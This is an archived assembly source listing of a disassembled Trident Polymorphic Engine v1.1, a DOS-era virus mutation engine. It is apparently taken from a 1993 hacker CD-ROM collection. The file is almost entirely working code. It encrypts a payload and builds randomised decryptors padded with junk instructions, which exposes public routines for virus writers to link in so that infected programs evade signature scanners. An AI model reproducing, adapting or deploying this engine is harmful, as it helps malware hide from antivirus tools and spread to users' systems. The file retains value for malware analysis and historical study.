home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tdupdat2.err / MASUDKHA.ZIP / TPE11.ZIP / TPE-V11.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-04-01  |  30.2 KB  |  1,029 lines

  1. .radix 16
  2.  
  3. ;=============================================================================
  4. ;                                                                            =
  5. ;                       Trident Polymorphic Engine v1.1                      =
  6. ;                       -------------------------------                      =
  7. ;                                                                            =
  8. ;               Dissassembled by: Lucifer Messiah -- ANARKICK SYSTEMS        =
  9. ;                                                                            =
  10. ;               This dissassembly uses as many of the labels from the        =
  11. ;               TPE v1.2 dissassembly as possible, to allow comparison       =
  12. ;                                                                            =
  13. ;----------------------------------------------------------------------------=
  14. ;                                                                            =
  15. ;       Trident Polymorphic Engine v1.1                                      =
  16. ;       -------------------------------                                      =
  17. ;                                                                            =
  18. ;       Input:                                                               =
  19. ;             ES      Work Segment                                           =
  20. ;             DS:DX   Code to be encrypted                                   =
  21. ;             BP      Becomes offset of TPE                                  =
  22. ;             SI      Distance to put between decryptor and code             =
  23. ;             CX      Length of code to encrypt                              =
  24. ;             AX      Bit Field Flags:  bit 0: DS will not be equal to CS    =
  25. ;                                       bit 1: insert random instructions    =
  26. ;                                       bit 2: put junk before decryptor     =
  27. ;                                       bit 3: Preserve AX with decryptor    =
  28. ;                                                                            =
  29. ;       Output:                                                              =
  30. ;             ES      Work Segment (preserved)                               =
  31. ;             DS:DX   Decryptor + encrypted code                             =
  32. ;             BP      Start of decryptor (preserved)                         =
  33. ;             DI      Length of decryptor/offset of encrypted code           =
  34. ;             CX      Length of decryptor + encrypted code                   =
  35. ;             AX      Length of encrypted code                               =
  36. ;                                                                            =
  37. ;=============================================================================
  38.  
  39.                .model tiny
  40.                .code
  41.                 org  0
  42.  
  43. public          rnd_init
  44. public          rnd_get
  45. public          crypt
  46. public          tpe_top
  47. public          tpe_bottom
  48.  
  49. tpe_top         equ     $
  50.                 db      '[ MK / TridenT ]'      ;encryptor name
  51.  
  52. crypt:
  53.                 xor     di,di
  54.                 call    dword ptr ds:[5652h]    ;????
  55.                 push    cs                      ;save registers
  56.                 pop     ds
  57.                 mov     byte ptr flags,al
  58.                 test    al,8
  59.                 je      no_push
  60.                 mov     al,50h
  61.                 stosb
  62.  
  63. no_push:
  64.                 call    rnd_get                 ;add a few bytes to cx
  65.                 and     ax,1fh
  66.                 add     cx,ax
  67.                 push    cx                      ;save length of code
  68.                 call    rnd_get                 ;get random flags
  69.                 xchg    ax,bx
  70.  
  71. ;--- Flags: -----------------------------------------------
  72. ;
  73. ; 0,1   encryption method
  74. ; 2,3   which registers to use in encryption engine
  75. ; 4     use byte or word for encrypt
  76. ; 5     MOV AL, MOV AH, or MOV AX
  77. ; 6     MOV CL, MOV CH, or MOV CX
  78. ; 7     AX or DX
  79. ; 8     count up or down
  80. ; 9     ADD/SUB/INC/DEC or CMPSW/SCASW
  81. ; A     ADD/SUB or INC/DEC
  82. ;       CMPSW or SCASW
  83. ; B     offset in XOR instrucion?
  84. ; C     LOOPNZ or LOOP
  85. ;       SUB CX or DEC CX
  86. ; D     carry with crypt ADD/SUB
  87. ; E     carry with inc ADD/SUB
  88. ; F     XOR instruction value or AX/DX
  89. ;
  90. ;----------------------------------------------------------
  91.  
  92. random:
  93.                 call    rnd_get                 ;get encryption value
  94.                 or      al,al                   ;is it a 0?
  95.                 je      random                  ;redo it if it is
  96.                 mov     word ptr xor_val,ax     ;store non-zero encryptor
  97.                 call    do_junk                 ;insert random instructions
  98.                 pop     cx
  99.                 mov     ax,0111h                ;make flags to remember which
  100.                 test    bl,20h                  ; MOV instructions are used
  101.                 jne     z0
  102.                 xor     al,07
  103.  
  104. z0:
  105.                 test    bl,0ch
  106.                 jne     z1
  107.                 xor     al,70h
  108.  
  109. z1:
  110.                 test    bl,40h
  111.                 jne     z2
  112.                 xor     ah,7
  113.  
  114. z2:
  115.                 test    bl,10h
  116.                 jne     z3
  117.                 and     al,73h
  118.  
  119. z3:
  120.                 test    bh,80h
  121.                 jne     z4
  122.                 and     al,70h
  123.  
  124. z4:
  125.                 mov     dx,ax
  126.  
  127. mov_lup:
  128.                 call    rnd_get                 ;put MOV instrucions in a
  129.                 and     ax,0fh                  ; random order
  130.                 cmp     al,0ah
  131.                 ja      mov_lup
  132.                 mov     si,ax                   ;
  133.                 push    cx                      ;test if MOV already done
  134.                 xchg    ax,cx
  135.                 mov     ax,1
  136.                 shl     ax,cl
  137.                 mov     cx,ax
  138.                 and     cx,dx
  139.                 pop     cx
  140.                 je      mov_lup
  141.                 xor     dx,ax                   ;remember which MOV done
  142.                 push    dx
  143.                 call    do_mov
  144.                 call    do_nop                  ;insert a random NOP
  145.                 pop     dx
  146.                 or      dx,dx                   ;all MOVs done?
  147.                 jne     mov_lup
  148.                 push    di                      ;save start of decryptor loop
  149.                 call    do_add_ax               ;ADD AX for loop
  150.                 call    do_nop
  151.                 test    bh,20h                  ;carry with ADD/SUB?
  152.                 je      no_clc
  153.                 mov     al,0f8h
  154.                 stosb
  155.  
  156. no_clc:
  157.                 mov     word ptr xor_offset,0
  158.                 call    do_xor                  ;place all loop instructions
  159.                 call    do_nop
  160.                 call    do_add
  161.                 pop     dx                      ;get start of decryptor loop
  162.                 call    do_loop
  163.                 test    byte ptr store_mov,8    ;insert POP AX?
  164.                 je      no_pop
  165.                 mov     al,58h
  166.                 stosb
  167.  
  168. no_pop:
  169.                 xor     ax,ax
  170.                 test    bh,01
  171.                 je      no_pop2
  172.                 mov     ax,cx
  173.                 dec     ax
  174.                 test    bl,10h
  175.                 je      no_pop2
  176.                 and     al,0feh
  177.  
  178. no_pop2:
  179.                 add     ax,di                   ;calculate loop offset
  180.                 add     ax,bp
  181.                 pop     si
  182.                 add     ax,si
  183.                 sub     ax,word ptr xor_offset
  184.                 mov     si,word ptr where_len
  185.                 test    bl,0ch               ;are BL,BH used for encryption?
  186.                 jne     v2
  187.                 mov     byte ptr es:[si],al
  188.                 mov     si,word ptr where_len2
  189.                 mov     byte ptr es:[si],ah
  190.                 jmp     short v3
  191.  
  192. v2:
  193.                 mov     word ptr es:[si],ax
  194.  
  195. v3:
  196.                 mov     dx,word ptr xor_val
  197.                 pop     si                      ;ds:si=start of code
  198.                 pop     ds
  199.                 push    di                      ;save pointer to start of code
  200.                 push    cx                      ; and length of encrypted code
  201.                 test    bl,10h                  ;byte or word?
  202.                 je      blup
  203.                 inc     cx                      ;cx=# of crypts (words)
  204.                 shr     cx,1
  205.  
  206. lup:
  207.                 lodsw                           ;encrypt code (words)
  208.                 call    do_encrypt
  209.                 stosw
  210.                 loop    lup
  211.                 jmp     short klaar
  212.  
  213. blup:
  214.                 lodsb                           ;encrypt code (bytes)
  215.                 xor     dh,dh
  216.                 call    do_encrypt
  217.                 stosb
  218.                 loop    blup
  219.  
  220. klaar:
  221.                 mov     cx,di                   ;cx=lenth decryptor + code
  222.                 pop     ax                      ;ax=length of decrypted code
  223.                 pop     di                      ;offset encrypted code
  224.                 xor     dx,dx                   ;ds:dx=decryptor + cr code
  225.                 push    es
  226.                 pop     ds
  227.                 retn
  228.  
  229. ;--- Encrypt the Code -------------------------------------
  230.  
  231. do_encrypt:
  232.                 add     dx,word ptr cs:add_val
  233.                 test    bl,02
  234.                 jne     lup1
  235.                 xor     ax,dx
  236.                 retn
  237.  
  238. lup1:
  239.                 test    bl,01
  240.                 jne     lup2
  241.                 sub     ax,dx
  242.                 retn
  243.  
  244. lup2:
  245.                 add     ax,dx
  246.                 retn
  247.  
  248. ;--- Generate MOV reg,xxxx --------------------------------
  249.  
  250. do_mov:
  251.                 mov     dx,si
  252.                 mov     al,byte ptr ds:mov_byte[si]
  253.                 cmp     dl,04                           ;bx?
  254.                 jne     is_not_bx
  255.                 call    add_ind
  256.  
  257. is_not_bx:
  258.                 test    dl,0ch                          ;a*?
  259.                 pushf
  260.                 jne     is_not_a
  261.                 test    bl,80h                          ;a* or d*?
  262.                 je      is_not_a
  263.                 add     al,02
  264.  
  265. is_not_a:
  266.                 call    alter                           ;insert the MOV A*
  267.                 popf
  268.                 jne     is_not_a2
  269.                 mov     ax,word ptr ds:xor_val
  270.                 jmp     short sss
  271.  
  272. is_not_a2:
  273.                 test    dl,08                           ;b*?
  274.                 jne     is_not_b
  275.                 mov     si,offset where_len
  276.                 test    dl,2
  277.                 je      is_not_bh
  278.                 add     si,2
  279.  
  280. is_not_bh:
  281.                 mov     word ptr [si],di
  282.                 jmp     short sss
  283.  
  284. is_not_b:
  285.                 mov     ax,cx                   ;c*?
  286.                 test    bl,10h                  ;byte or word encrypt?
  287.                 je      sss
  288.                 inc     ax                      ;only 1/2 the number of bytes
  289.                 shr     ax,1
  290.  
  291. sss:
  292.                 test    dl,3                   ;byte or word register?
  293.                 je      is_x
  294.                 test    dl,2                    ;*h?
  295.                 je      is_not_h
  296.                 xchg    ah,al
  297.  
  298. is_not_h:
  299.                 stosb
  300.                 retn
  301.  
  302. is_x:
  303.                 stosw
  304.                 retn
  305.  
  306. ;--- Insert MOV or alternative for MOV --------------------
  307.  
  308. alter:
  309.                 push    bx
  310.                 push    cx
  311.                 push    ax
  312.                 call    rnd_get
  313.                 xchg    ax,bx
  314.                 pop     ax
  315.                 test    bl,3                    ;use alternative for MOV?
  316.                 je      no_alter
  317.                 push    ax
  318.                 and     bx,0fh
  319.                 and     al,8
  320.                 shl     ax,1
  321.                 or      bx,ax
  322.                 pop     ax
  323.                 and     al,7
  324.                 mov     cl,9
  325.                 xchg    ax,cx
  326.                 mul     cl
  327.                 add     ax,30c0h
  328.                 xchg    ah,al
  329.                 test    bl,4
  330.                 je      no_sub
  331.                 mov     al,28h
  332.  
  333. no_sub:
  334.                 call    maybe_2
  335.                 stosw
  336.                 mov     al,80h
  337.                 call    maybe_2
  338.                 stosb
  339.                 lea     ax,word ptr alt_code
  340.                 xchg    ax,bx
  341.                 and     ax,3
  342.                 xlat
  343.                 add     al,cl
  344.  
  345. no_alter:
  346.                 stosb
  347.                 pop     cx
  348.                 pop     bx
  349.                 retn
  350.  
  351. ;--- Insert ADD AX,xxxx -----------------------------------
  352.  
  353. do_add_ax:
  354.                 push    cx
  355.                 lea     si,add_val
  356.                 mov     word ptr [si],0         ;save ADD val
  357.                 mov     ax,bx
  358.                 and     ax,8110h
  359.                 xor     ax,8010h
  360.                 jne     no_add_ax               ;use ADD?
  361.                 mov     ax,bx
  362.                 xor     ah,ah
  363.                 mov     cl,3
  364.                 div     cl
  365.                 or      ah,ah
  366.                 jne     no_add_ax               ;use ADD?
  367.                 test    bl,80h
  368.                 jne     do_81C2                 ;AX or DX?
  369.                 mov     al,5
  370.                 stosb
  371.                 jmp     short do_add0
  372.  
  373. do_81C2:
  374.                 mov     ax,0c281h
  375.                 stosw
  376.  
  377. do_add0:
  378.                 call    rnd_get
  379.                 mov     word ptr [si],ax
  380.                 stosw
  381.  
  382. no_add_ax:
  383.                 pop     cx
  384.                 retn
  385.  
  386. ;--- generate encryption command --------------------------
  387.  
  388. do_xor:
  389.                 test    byte ptr ds:flags,1
  390.                 je      no_cs
  391.                 mov     al,2eh                  ;insert CS: instruction
  392.                 stosb
  393.  
  394. no_cs:
  395.                 test    bh,80h                  ;type of XOR command
  396.                 je      xor1
  397.                 call    get_xor
  398.                 call    do_carry
  399.                 call    save_it
  400.                 xor     ax,ax
  401.                 test    bl,80h
  402.                 je      xxxx
  403.                 add     al,10h
  404.  
  405. xxxx:
  406.                 call    add_dir
  407.                 test    bh,8
  408.                 jne     yyyy
  409.                 stosb
  410.                 retn
  411.  
  412. yyyy:
  413.                 or      al,80h
  414.                 stosb
  415.                 call    rnd_get
  416.                 stosw
  417.                 mov     word ptr ds:xor_offset,ax
  418.                 retn
  419.  
  420. xor1:
  421.                 mov     al,80h                  ;encrypt with value
  422.                 call    save_it
  423.                 call    get_xor
  424.                 call    do_carry
  425.                 call    xxxx
  426.                 mov     ax,word ptr ds:xor_val
  427.                 test    bl,10h
  428.                 jmp     byte_word
  429.  
  430. ;--- generate increase/decrease command -------------------
  431.  
  432. do_add:
  433.                 test    bl,8            ;no CMPSW/SCASW if BX is used
  434.                 je      da0
  435.                 test    bh,2            ;ADD/SUB/INC/DEC or CMPSW/SCASW
  436.                 jne     do_cmpsw
  437.  
  438. da0:
  439.                 test    bh,4            ;ADD/SUB or INC/DEC?
  440.                 je      add1
  441.                 mov     al,40h          ;INC/DEC
  442.                 test    bh,01
  443.                 je      add0
  444.                 add     al,8
  445.  
  446. add0:
  447.                 call    add_ind
  448.                 stosb
  449.                 test    bl,10h
  450.                 je      return
  451.                 stosb
  452.  
  453. return:
  454.                 retn
  455.  
  456. add1:
  457.                 test    bh,40h                  ;ADD/SUB
  458.                 je      no_clc2                 ;carry?
  459.                 mov     al,0f8h                 ;insert CLC
  460.                 stosb
  461.  
  462. no_clc2:
  463.                 mov     al,83h
  464.                 stosb
  465.                 mov     al,0c0h
  466.                 test    bh,01
  467.                 je      b0627f
  468.                 mov     al,0e8h                 ;insert XXX
  469.  
  470. b0627f:
  471.                 test    bh,40h
  472.                 je      add2
  473.                 and     al,0cfh
  474.                 or      al,10h
  475.  
  476. add2:
  477.                 call    add_ind
  478.                 stosb
  479.                 mov     al,01
  480.  
  481. save_it:
  482.                 call    add_1
  483.                 stosb
  484.                 retn
  485.  
  486. b06293:
  487.                 test    bh,01
  488.                 je      do_cmpsw
  489.                 mov     al,0fdh                 ;add XXX
  490.                 stosb
  491.  
  492. do_cmpsw:
  493.                 test    bh,4                    ;CMPSE or SCASW?
  494.                 je      normal_cmpsw
  495.                 test    bl,4                    ;no SCASW if SI is used
  496.                 jne     do_scasw
  497.  
  498. normal_cmpsw:
  499.                 mov     al,0a6h
  500.                 jmp     short save_it
  501.  
  502. do_scasw:
  503.                 mov     al,0aeh
  504.                 jmp     short save_it
  505.  
  506. ;--- generate LOOP command --------------------------------
  507.  
  508. do_loop:
  509.                 test    bh,01                   ;no JNE if counting down
  510.                 jne     do_loop2
  511.                 call    rnd_get
  512.                 test    al,01
  513.                 jne     cx_loop
  514.  
  515. do_loop2:
  516.                 mov     al,0e0h                 ;LOOPNZ or LOOP?
  517.                 test    bh,1ah                  ; no LOOPNZ if xor-offset
  518.                 je      l10                     ; no LOOPNZ if CMP/SCASW
  519.                 add     al,2
  520.  
  521. l10:
  522.                 stosb
  523.                 mov     ax,dx
  524.                 sub     ax,di
  525.                 dec     ax
  526.                 stosb
  527.                 retn
  528.  
  529. cx_loop:
  530.                 test    bh,10h                  ;SUB CX or DEC CX?
  531.                 jne     cx1_dec
  532.                 mov     ax,0e983h
  533.                 stosw
  534.                 mov     al,1
  535.                 stosb
  536.                 jmp     short do_jne
  537.  
  538. cx1_dec:
  539.                 mov     al,49h
  540.                 stosb
  541.  
  542. do_jne:
  543.                 mov     al,75h
  544.                 jmp     short l10
  545.  
  546. ;--- add value to AL depending on register type -----------
  547.  
  548. add_dir:
  549.                 lea     si,word ptr dir_change
  550.                 jmp     short xx1
  551.  
  552. add_ind:
  553.                 lea     si,word ptr ind_change
  554.  
  555. xx1:
  556.                 push    bx
  557.                 shr     bl,1
  558.                 shr     bl,1
  559.                 and     bx,3
  560.                 add     al,byte ptr [bx+si]
  561.                 pop     bx
  562.                 retn
  563.  
  564. ;--- move encyryption command byte to AL ------------------
  565.  
  566. get_xor:
  567.                 push    bx
  568.                 lea     ax,word ptr how_mode
  569.                 xchg    ax,bx
  570.                 and     ax,3
  571.                 xlat
  572.                 pop     bx
  573.                 retn
  574.  
  575. ;--- change ADD to ADC ------------------------------------
  576.  
  577. do_carry:
  578.                 test    bl,2            ;ADD/SUB used for encryption
  579.                 je      no_ac
  580.                 test    bh,20h
  581.                 je      no_ac
  582.                 and     al,0cfh
  583.                 or      al,10h
  584.  
  585. no_ac:
  586.                 retn
  587.  
  588. ;--- change AL (byte/word) --------------------------------
  589.  
  590. add_1:
  591.                 test    bl,10h
  592.                 je      add_1_ret
  593.                 inc     al
  594.  
  595. add_1_ret:
  596.                 retn
  597.  
  598. ;--- change AL (byte/word) --------------------------------
  599.  
  600. maybe_2:
  601.                 call    add_1           ;can't touch this...
  602.                 cmp     al,81h
  603.                 je      maybe_not
  604.                 push    ax
  605.                 call    rnd_get
  606.                 test    al,1
  607.                 pop     ax
  608.                 je      maybe_not
  609.                 add     al,2
  610.  
  611. maybe_not:
  612.                 retn
  613.  
  614. ;--- insert random instructions ---------------------------
  615.  
  616. do_nop:
  617.                 test    byte ptr ds: flags,2
  618.  
  619. yes_nop:
  620.                 je      no_nop
  621.                 call    rnd_get
  622.                 test    al,3
  623.                 je      nop8
  624.                 test    al,2
  625.                 je      nop16
  626.  
  627. b0633b          equ     $+01h
  628.                 test    al,1
  629.                 je      nop16x
  630.  
  631. no_nop:
  632.                 retn
  633.  
  634. ;--- insert random nop (or not) ---------------------------
  635.  
  636. do_junk:
  637.                 test    byte ptr ds:flags,4
  638.                 je      no_junk
  639.                 call    rnd_get         ;put a random number of
  640.                 and     ax,0fh          ; dummy instructions before
  641.                 inc     ax              ; decryptor
  642.                 xchg    ax,cx
  643.  
  644. junk_loop:
  645.                 call    junk
  646.                 loop    junk_loop
  647.  
  648. no_junk:
  649.                 retn
  650.  
  651. junk:
  652.                 call    rnd_get
  653.                 and     ax,01eh
  654.                 jmp     short aa0
  655.  
  656. nop16x:
  657.                 call    rnd_get
  658.                 and     ax,6
  659.  
  660. aa0:
  661.                 xchg    ax,si
  662.                 call    rnd_get
  663.                 jmp     word ptr ds:junk_cals[si]
  664.  
  665.  
  666. ;-----------------------------------------------------
  667.  
  668. junk_cals:
  669.                 dw      offset nop16x0
  670.                 dw      offset nop16x1
  671.                 dw      offset nop16x2
  672.                 dw      offset nop16x3
  673.                 dw      offset nop8
  674.                 dw      offset nop16
  675.                 dw      offset junk6
  676.                 dw      offset junk7
  677.                 dw      offset junk8
  678.                 dw      offset junk9
  679.                 dw      offset junkA
  680.                 dw      offset junkB
  681.                 dw      offset junkC
  682.                 dw      offset junkD
  683.                 dw      offset junkE
  684.                 dw      offset junkF
  685.  
  686. ;-----------------------------------------------------
  687.  
  688. nop16x0:
  689.                 add     byte ptr [si],cl        ;J* 0000 (conditional)
  690.                 jo      yes_nop                 ;jump on overflow
  691.                 retn
  692.  
  693. nop16x1:
  694.                 mov     al,0ebh                 ;JMP xxxx/junk
  695.                 and     ah,7
  696.                 inc     ah
  697.                 stosw
  698.                 xchg    ah,al                   ;get length of bullshit
  699.                 cbw                             ;convert AL to AX
  700.                 jmp     fill_bullshit
  701.  
  702. nop16x2:
  703.                 call    junkD                   ;XCHG AX,reg/XCHG AX,reg
  704.                 stosb
  705.                 retn
  706.  
  707. nop16x3:
  708.                 call    junkF                   ;INC/DEC or DEC/INC
  709.                 xor     al,8
  710.                 stosb
  711.                 retn
  712.  
  713. nop8:
  714.                 push    bx
  715.                 and     al,7
  716.                 lea     bx,word ptr nop_data8
  717.                 xlat
  718.                 stosb
  719.                 pop     bx
  720.                 retn
  721.  
  722. nop16:
  723.                 push    bx
  724.                 and     ax,0303h
  725.                 lea     bx,word ptr nop_data16
  726.                 xlat
  727.                 add     al,ah
  728.                 stosb
  729.                 call    rnd_get
  730.                 and     al,7
  731.                 mov     bl,9
  732.                 mul     bl
  733.                 add     al,0c0h
  734.                 stosb
  735.                 pop     bx
  736.                 retn
  737.  
  738. junk6:
  739.                 push    cx
  740.                 mov     al,0e8h
  741.                 and     ah,0fh          ;CALL xxxx/junk/POP reg
  742.                 inc     ah
  743.                 stosw
  744.                 xor     al,al
  745.                 stosb
  746.                 xchg    ah,al
  747.                 call    fill_bullshit
  748.                 call    do_nop
  749.                 call    rnd_get         ;insert POP reg
  750.                 and     al,7
  751.                 call    no_sp
  752.                 mov     cx,ax
  753.                 or      al,58h
  754.                 stosb
  755.                 test    ch,3            ;more?
  756.                 jne     junk6_ret
  757.                 call    do_nop
  758.                 mov     ax,0f087h       ;insert XCHG SI,reg
  759.                 or      ah,cl
  760.                 test    ch,8
  761.                 je      j6_1
  762.                 mov     al,8bh
  763.  
  764. j6_1:
  765.                 stosw
  766.                 call    do_nop
  767.                 push    bx
  768.                 call    rnd_get
  769.                 xchg    ax,bx
  770.                 and     bx,0f7fbh       ;insert XOR [SI],xxxx
  771.                 or      bl,8
  772.                 call    do_xor
  773.                 pop     bx
  774.  
  775. junk6_ret:
  776.                 pop     cx
  777.                 retn
  778.  
  779. junk7:
  780.                 and     al,0fh          ;MOV reg,xxxx
  781.                 or      al,0b0h
  782.                 call    no_sp
  783.                 stosb
  784.                 test    al,8
  785.                 pushf
  786.                 call    rnd_get
  787.                 popf
  788.                 jmp     short byte_word
  789.  
  790. junk8:
  791.                 and     ah,39h          ;DO r/m,r(8,16)
  792.                 or      al,0c0h
  793.                 call    no_sp
  794.                 xchg    ah,al
  795.                 stosw
  796.                 retn
  797.  
  798. junk9:
  799.                 and     al,3bh          ;DO r(8,16),r/m
  800.                 or      al,2
  801.                 and     ah,3fh
  802.                 call    no_sp2
  803.                 call    no_bp
  804.                 stosw
  805.                 retn
  806.  
  807. junkA:
  808.                 and     ah,1            ;DO rm,xxxx
  809.                 or      ax,80c0h
  810.                 call    no_sp
  811.                 xchg    ah,al
  812.                 stosw
  813.                 test    al,1
  814.                 pushf
  815.                 call    rnd_get
  816.                 popf
  817.                 jmp     short byte_word
  818.  
  819. junkB:
  820.                 call    nop8              ;NOP/LOOP
  821.                 mov     ax,0fde2h
  822.                 stosw
  823.                 retn
  824.  
  825. junkC:
  826.                 and     al,9            ;CMPS* or SCAS*
  827.                 test    ah,1
  828.                 je      mov_test
  829.                 or      al,0a6h
  830.                 stosb
  831.                 retn
  832.  
  833. mov_test:
  834.                 or      al,0a0h         ;MOV AX,[xxxx] or TEST AX,xxxx
  835.                 stosb
  836.                 cmp     al,0a8h
  837.                 pushf
  838.                 call    rnd_get
  839.                 popf
  840.                 jmp     short byte_word
  841.  
  842. junkD:
  843.                 and     al,7            ;XCHG AX,reg
  844.                 or      al,90h
  845.                 call    no_sp
  846.                 stosb
  847.                 retn
  848.  
  849. junkE:
  850.                 and     ah,7
  851.                 or      ah,50h
  852.                 mov     al,ah
  853.                 or      ah,8
  854.                 stosw
  855.                 retn
  856.  
  857. junkF:
  858.                 and     al,0fh          ;INC/DEC
  859.                 or      al,40h
  860.                 call    no_sp
  861.                 stosb
  862.                 retn
  863.  
  864. ;--- store a byte or a word -------------------------------
  865.  
  866. byte_word:
  867.                 je      only_byte
  868.                 stosw
  869.                 retn
  870.  
  871. only_byte:
  872.                 stosb
  873.                 retn
  874.  
  875. ;--- don't fuck with sp -----------------------------------
  876.  
  877. no_sp:
  878.                 push    ax
  879.                 and     al,7
  880.                 cmp     al,4
  881.                 pop     ax
  882.                 jne     no_sp_ret
  883.                 and     al,0fbh
  884.  
  885. no_sp_ret:
  886.                 retn
  887.  
  888. ;--- don't fuck with sp -----------------------------------
  889.  
  890. no_sp2:
  891.                 push    ax
  892.                 and     ah,38h
  893.                 cmp     ah,20h
  894.                 pop     ax
  895.                 jne     no_sp2_ret
  896.                 xor     ah,20h
  897.  
  898. no_sp2_ret:
  899.                 retn
  900.  
  901. ;--- don't use [bp + ..] ----------------------------------
  902.  
  903. no_bp:
  904.                 test    ah,4
  905.                 jne     no_bp2
  906.                 and     ah,0fdh
  907.                 retn
  908.  
  909. no_bp2:
  910.                 push    ax
  911.                 and     ah,7
  912.                 cmp     ah,6
  913.                 pop     ax
  914.                 jne     no_bp_ret
  915.                 or      ah,1
  916.  
  917. no_bp_ret:
  918.                 retn
  919.  
  920. ;--- write byte for JMP/CAL and fill with random bullshit -
  921.  
  922. fill_bullshit:
  923.                 push    cx
  924.                 xchg    ax,cx
  925.  
  926. bull_lup:
  927.                 call    rnd_get
  928.                 stosb
  929.                 loop    bull_lup
  930.                 pop     cx
  931.                 retn
  932.  
  933. ;--- random number generator ------------------------------
  934.  
  935. rnd_init:
  936.                 push    ax
  937.                 push    cx
  938.                 call    random_init0
  939.                 and     ax,0h
  940.                 inc     ax
  941.                 xchg    ax,cx
  942.  
  943. random_lup:
  944.                 call    rnd_get         ;cal random routine a few
  945.                 loop    random_lup      ; times to 'warm up'
  946.                 pop     cx
  947.                 pop     ax
  948.                 retn
  949.  
  950. random_init0:
  951.                 push    dx              ;initialize generator
  952.                 push    cx
  953.                 mov     ah,2ch
  954.                 int     21h             ;get time CH,CL:DH,DL
  955.                 in      al,40h          ;timer
  956.                 mov     ah,al
  957.                 in      al,40h          ;timer
  958.                 xor     ax,cx
  959.                 xor     dx,ax
  960.                 jmp     short mov_rnd
  961.  
  962. rnd_get:
  963.                 push    dx              ;calculate random number
  964.                 push    cx
  965.                 push    bx
  966.                 in      al,40h
  967.  
  968. d06502          equ     $+01h
  969.                 add     ax,0000h
  970.  
  971. d06505          equ     $+01h
  972.                 mov     dx,0000h
  973.                 mov     cx,0007h
  974.  
  975. rnd_lup:
  976.                 shl     ax,1
  977.                 rcl     dx,1
  978.                 mov     bl,al
  979.                 xor     bl,dh
  980.                 jns     rnd_12
  981.                 inc     al
  982.  
  983. rnd_12:
  984.                 loop    rnd_lup
  985.                 pop     bx
  986.  
  987. mov_rnd:
  988.                 mov     word ptr cs:d06502,ax
  989.                 mov     word ptr cs:d06505,dx
  990.                 mov     al,dl
  991.                 pop     cx
  992.                 pop     dx
  993.                 retn
  994.  
  995. ;-----------------------------------------------------
  996. ;.data
  997.  
  998. mov_byte        db      0b8,0b0,0b4,00          ;AX,AL,AH,..
  999.                 db      0b8,0b3,0b7,00          ;BX,GL,GH,..
  1000.                 db      0b9,0b1,0b5             ;CX,CL,CH
  1001.  
  1002. nop_data8       db      90,0f8,0f9,0f5          ;NOP,CLC,STC,CMC
  1003.                 db      0fa,0fc,45,4dh          ;CLI,CLD,INC BP,DEC BP
  1004.  
  1005. nop_data16      db      08,20,84,88             ;OR,AND,XCHG,MOV
  1006.  
  1007. dir_change      db      07,07,04,05             ;BL/BH,BX,SI,DI
  1008.  
  1009. ind_change      db      03,03,06,07             ;BL/BH,BX,SI,DI
  1010.  
  1011. how_mode        db      30,30,00,28             ;XOR,XOR,ADD,SUB
  1012.  
  1013. alt_code        dw      0c800h,0c0f0h           ;ADD AL,CL,????
  1014.  
  1015. add_val         dw      0
  1016. xor_val         dw      0
  1017. xor_offset      dw      0
  1018. where_len       dw      0
  1019. where_len2      dw      0
  1020. store_mov       db      0
  1021. flags           db      0
  1022.  
  1023.                 db      '[TPE 1.1]'
  1024.  
  1025. tpe_bottom      equ     $
  1026.  
  1027.                 end     tpe_top
  1028.  
  1029.